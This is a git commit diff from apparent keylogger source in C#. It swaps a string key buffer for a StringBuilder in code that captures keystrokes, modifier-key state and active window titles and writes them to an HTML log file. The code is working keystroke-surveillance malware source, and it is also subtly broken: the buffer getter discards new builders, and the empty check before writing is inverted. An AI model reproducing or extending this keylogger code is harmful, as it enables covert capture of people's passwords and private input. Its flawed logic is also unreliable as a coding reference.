Improved the the keylogger's key buffer

Used a StringBuilder instead of a normal string as the key buffer to
drastically improve the performance. Having a string as the key buffer
would mean that every single addition would be exponentially slower.
This commit is contained in:
yankejustin 2015-05-04 12:21:04 -04:00
parent 89389d7325
commit 437747a9df
1 changed files with 14 additions and 13 deletions

View File

@ -63,7 +63,8 @@ private static bool CapsLock
} }
} }
private string _keyBuffer; private StringBuilder _keyBuffer_;
private StringBuilder _keyBuffer { get { return _keyBuffer_ ?? new StringBuilder(); } set { _keyBuffer_ = value; } }
private string _hWndTitle; private string _hWndTitle;
private string _hWndLastTitle; private string _hWndLastTitle;
@ -141,26 +142,26 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
{ {
_hWndLastTitle = _hWndTitle; _hWndLastTitle = _hWndTitle;
_keyBuffer += "<br><br>[<b>" + _hWndTitle + "</b>]<br>"; _keyBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
} }
} }
switch (i) switch (i)
{ {
case 8: case 8:
_keyBuffer += "<font color=\"0000FF\">[Back]</font>"; _keyBuffer.Append("<font color=\"0000FF\">[Back]</font>");
return; return;
case 9: case 9:
_keyBuffer += "<font color=\"0000FF\">[Tab]</font>"; _keyBuffer.Append("<font color=\"0000FF\">[Tab]</font>");
return; return;
case 13: case 13:
_keyBuffer += "<font color=\"0000FF\">[Enter]</font><br>"; _keyBuffer.Append("<font color=\"0000FF\">[Enter]</font><br>");
return; return;
case 32: case 32:
_keyBuffer += " "; _keyBuffer.Append(" ");
return; return;
case 46: case 46:
_keyBuffer += "<font color=\"0000FF\">[Del]</font>"; _keyBuffer.Append("<font color=\"0000FF\">[Del]</font>");
return; return;
} }
@ -168,21 +169,21 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
{ {
if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on
{ {
_keyBuffer += FromKeys(i, true, true); _keyBuffer.Append(FromKeys(i, true, true));
return; return;
} }
if (ShiftKey) //If only the Shiftkey is pressed if (ShiftKey) //If only the Shiftkey is pressed
{ {
_keyBuffer += FromKeys(i, true, false); _keyBuffer.Append(FromKeys(i, true, false));
return; return;
} }
if (CapsLock) //If only Capslock is toggled on if (CapsLock) //If only Capslock is toggled on
{ {
_keyBuffer += FromKeys(i, false, true); _keyBuffer.Append(FromKeys(i, false, true));
return; return;
} }
_keyBuffer += FromKeys(i, false, false); _keyBuffer.Append(FromKeys(i, false, false));
return; return;
} }
} }
@ -221,7 +222,7 @@ private void WriteFile()
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>"); DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (_keyBuffer != "") if (string.IsNullOrEmpty(_keyBuffer.ToString()))
sw.Write(_keyBuffer); sw.Write(_keyBuffer);
_hWndLastTitle = ""; _hWndLastTitle = "";
@ -239,7 +240,7 @@ private void WriteFile()
{ {
} }
_keyBuffer = ""; _keyBuffer = new StringBuilder();
} }
private string GetActiveWindowTitle() private string GetActiveWindowTitle()